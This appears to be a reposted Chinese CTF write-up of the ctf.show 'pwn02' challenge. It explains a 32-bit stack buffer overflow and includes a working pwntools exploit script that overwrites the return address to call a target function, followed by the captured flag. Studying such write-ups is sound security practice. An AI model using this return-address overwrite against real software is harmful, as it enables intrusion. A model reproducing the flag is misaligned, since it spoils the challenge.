初识栈溢出 pwn02

news2024/11/27 2:32:38

题目给了一个链接和端口   pwn.challenge.ctf.show 28183,可以nc看一下

题目给的链接和端口的其实是用来放进我们编写的exp脚本的

还给了一个附件 stack

下载好后拖进kali使用file和checksec命令检查一下

发现是一个32位的程序

No canary found 表示没有金丝雀保护,能栈溢出;

NX enabled 表示不可执行,Linux的文件有三种属性,即 rwx,NX即表示没有x属性;

No PIE 表示未开启地址空间布局随机化。

我们将程序在IDA里面打开

找到main函数,使用快捷键F5进行反编译,得到伪代码

setvbuf()函数是对文件进行操作,在内存区建立一个缓存区用于与磁盘交换数据;

stdout是屏幕输出设备,stdin是键盘输入设备,自启并清空缓存区,方便及时输入输出;

puts()函数这里用于输出字符串;

这里有一个pwnme()函数,我们双击跟进查看它的定义

发现有一个数组s,它只有9个字节大小;

fgets() 函数有三个参数,这里表示从 stdin 中读取50个字符存储到数组 s ,这就会造成栈溢出!

可能造成栈溢出的函数还有:gets,scanf,vscanf,sprintf,strcpy,strcat,bcopy

对于栈溢出的利用,我们需要找两个东西:

首先是找我们需要利用的函数所在地址,这道题利用的是stack这个函数

地址为0804850F

我们利用栈溢出让返回的地址变为我们需要利用的函数的地址

其次我们还需要找造成栈溢出的函数的地址到ebp的距离

前面我们说了,这里造成栈溢出的函数是pwnme函数

最后我们根据程序是32位还是64位,对应加上4或8个字节的ebp(栈底)即可

最终我们在s处填入9+4=13个字节

 

编写exp脚本:

from pwn import *  //导入了pwntools库
#p = process("./stack")
p = remote("pwn.challenge.ctf.show",28196) //创建一个远程连接,将程序与指定的主机和端口建立起联系
p.recv() //接收并丢弃来自远程连接的数据
#p.recvuntil('32bits\n') //直到接收到"32bits\n"
payload = b"A"*(0x9+4) + p32(0x0804850F) //payload由一串"A"字符组成,长度为13个字节(0x9+4),通过调用p32()函数,将地址0x0804850F转换为Little Endian格式的4字节序列,并将其附加到payload末尾
p.send(payload)  //将构造好的payload发送到远程连接的目标端点
p.interactive()  //启动交互式会话,允许用户在本地终端与远程连接进行交互

使用python3 执行脚本

执行命令,拿到flag

ctfshow{fa60556d-cefa-434b-9fdf-e7d8f9235ae1}

这个题要想从本质上去理清楚,还是得看懂下图右侧的代码,了解常用的函数作用,并且根据代码画出栈的整个变换过程,每个函数都有一个自己的栈,main函数的栈进行变化后最终会被还原的,也算是对栈的一个保护。

真的不太好理解,栈底在高地址,栈顶在低地址,入栈的时候是从下往上压入,但是对于已经存在的东西比如这道题的数组s,又是从上往下存,或者说是改变它的值。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/724326.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Stable Diffusion 多角度人设立绘快速生成多种方法

对于插画师构建人物立绘图设计一套多方位的人设可能要很久,但是使用SD进行操作的话就非常简单了,这个利用ControlNet骨骼图进行配置操作。 供一些样图参考,也可以使用ADetailer进行人物相关部位的修复。 文章目录 准备工作关键词绘制使用骨骼…

深入理解ASEMI整流桥KBP210特性及其应用

编辑-Z 在电子工程领域,整流器是一种重要的元件,它能将交流电(AC)转换为直流电(DC)。其中,整流桥KBP210是一种常见的整流器,因其优秀的性能和广泛的应用,受到了工程师们…

【专题速递】大模型、带宽优化、智能外呼和AIGC的数据实践

// ChatGPT的爆发为音视频带来了怎样的革新?AIGC又将如何辅助音视频技术为用户带来更好的体验?7月29日LiveVideoStackCon上海站AI与多媒体专场,为您解答。 AI与多媒体 随着生活方式及习惯的变化,人们对于媒体内容与体验有着更高…

8、离线数仓同步数据

1、 用户行为数据同步 1.1、 数据通道 用户行为数据由Flume从Kafka直接同步到HDFS,由于离线数仓采用Hive的分区表按天统计,所以目标路径要包含一层日期。具体数据流向如下图所示。 1.2、 日志消费Flume配置概述 按照规划,该Flume需将Kafka…

案例挑战——事务传播行为

事务的传播行为 一、背景介绍二、 什么是事物的传播行为常见的事物传播行为mandatorysupportsrequiredrequired_newnestednot supportnever 三、为什么要有事务的传播行为,它是为了解决什么问题?四、如何使用事务的传播行为外围方法没有事务,…

audio标签如何去掉controls属性上的下载和倍速

<audioref"audioPlayer":src"data.url"controlstimeupdate"updateProgress" ></audio> controlslist 属性将帮助浏览器选择在媒体元素上显示的控件。 <audioref"audioPlayer":src"data.url"controlscontrol…

【Hello mysql】 数据库表操作

Mysql专栏&#xff1a;Mysql 本篇博客简介&#xff1a;介绍数据库的表操作 数据库表操作 创建表查看表结构修改表添加列修改列删除列修改表名修改列名 删除表总结 创建表 语法 CREATE TABLE table_name ( field1 datatype, field2 datatype, field3 datatype ) character set…

Facebook 商务管理:成为 Facebook 业务经理大师的关键

Facebook 商务管理&#xff1a;成为 Facebook 业务经理大师的关键 尽管社交媒体行业有许多冉冉升起的新星&#xff0c;但Facebook仍然是不败的冠军。Facebook每月活跃用户超过2.85亿&#xff0c;在受欢迎程度方面遥遥领先于同行&#xff0c;它无疑是您业务的绝佳免费营销工具。…

一亿港元的“入场费”?香港合规门槛太高,加密从业者仍选择观望!

6月1日&#xff0c;备受瞩目的香港加密新规正式生效&#xff0c;但靴子落地&#xff0c;市场预期却不及以往&#xff0c;想象中人声鼎沸的讨论并未出现。尽管蔓延的熊市仍负主要责任&#xff0c;但仍有很多因素使从业者观望态度。 合规门槛太高&#xff1f; 纵观圈内&#xff0…

Python编程实现针对回撤的交易策略

在金融交易市场上&#xff0c;回撤是一个常见的现象。因此&#xff0c;对于投资者来说&#xff0c;研究和设计针对回撤的交易策略是非常必要的。本文将介绍如何使用Python编程实现针对回撤的交易策略&#xff0c;以帮助投资者更好地进行交易。 一、回撤分析 在设计针对回撤的…

智能导航:独家互联网网站推荐指南

在数字化时代&#xff0c;人们对于影视娱乐的需求日益增长。而随着高速互联网的普及和技术的进步&#xff0c;极速冲浪成为了探索各种精彩影视作品的主流方式。众多影视网站应运而生&#xff0c;为我们提供了丰富多样的内容&#xff0c;并以便捷的方式满足我们对于电影、剧集和…

带你了解Zabbix的基础概念、Zabbix部署

Zabbix的基础概念 一、Zabbix的概念1、监控软件的作用2、zabbix 是什么&#xff1f;3、zabbix 监控原理 二、Zabbix&#xff08;6.0&#xff09;新特性1、Zabbix&#xff08;6.0&#xff09;的功能2、Zabbix 6.0 功能组件 三、实验&#xff08;部署 zabbix 6.0&#xff09;1、Z…

青岛大学_王卓老师【数据结构与算法】Week03_12_线性表的链式表示和实现12_学习笔记

本文是个人学习笔记&#xff0c;素材来自青岛大学王卓老师的教学视频。 一方面用于学习记录与分享&#xff0c;另一方面是想让更多的人看到这么好的《数据结构与算法》的学习视频。 如有侵权&#xff0c;请留言作删文处理。 课程视频链接&#xff1a; 数据结构与算法基础–…

软件确认测试的依据有哪些?

软件测试是软件开发过程中不可或缺的一环&#xff0c;而软件确认测试则是其中一个重要的阶段。软件确认测试&#xff0c;又称用户验收测试&#xff0c;是软件开发生命周期中的最后一个阶段。它旨在确认软件是否满足用户的需求并符合预期的功能。确认测试侧重于用户的角度&#…

python接口自动化(十六)--参数关联接口后传(详解)

简介 大家对前边的自动化新建任务之后&#xff0c;接着对这个新建任务操作了解之后&#xff0c;希望带小伙伴进一步巩固胜利的果实&#xff0c;夯实基础。因此再在沙场实例演练一下博客园的相关接口。我们用自动化发随笔之后&#xff0c;要想接着对这篇随笔操作&#xff0c;不用…

一文读懂FPC(14)- FPC的挠曲性

FPC系列文章目录 1.什么是FPC 2.什么是R-FPC 3&#xff0c;FPC的基材 4.FPC基材压延铜和电解铜的区别 5&#xff0c;FPC的辅材 6&#xff0c;FPC常见的四种类型 7&#xff0c;FPC的生产流程简介 8&#xff0c;R-FPC的生产流程简介 9&#xff0c;FPC的发展及应用 10&a…

智安网络|新型恶意软件攻击:持续威胁网络安全

当今数字化时代&#xff0c;恶意软件已经成为网络安全领域中的一项巨大威胁。随着技术的不断进步&#xff0c;恶意软件的攻击方式也在不断演变和发展。 以下是一些目前比较常见的新型恶意软件攻击&#xff1a; **1.勒索软件&#xff1a;**勒索软件是一种恶意软件&#xff0c;它…

Flutter基础布局

Column:纵向布局 Column相当于Android原生的LinearLayout线性布局。 主要代码&#xff1a; class MyHomePage extends StatelessWidget {const MyHomePage({Key? key}) : super(key: key);overrideWidget build(BuildContext context) {return Container(width: double.infi…

Kotlin单例模式的一种懒汉模式写法

Kotlin单例模式的一种懒汉模式写法 class MyHelpler {companion object {private val singleHelpler by lazy(mode LazyThreadSafetyMode.SYNCHRONIZED) { MyHelpler() }fun instance() singleHelpler}fun sayHi() {println("fly")} }fun main(args: Array<Stri…

Java代码混淆技术学习

1. ClassFinal 1.1 创建springboot项目 不做过多演示 spring boot版本2.7.8 1.2 maven引入 <plugin><!-- https://gitee.com/roseboy/classfinal --><groupId>net.roseboy</groupId><artifactId>classfinal-maven-plugin</artifactId>&…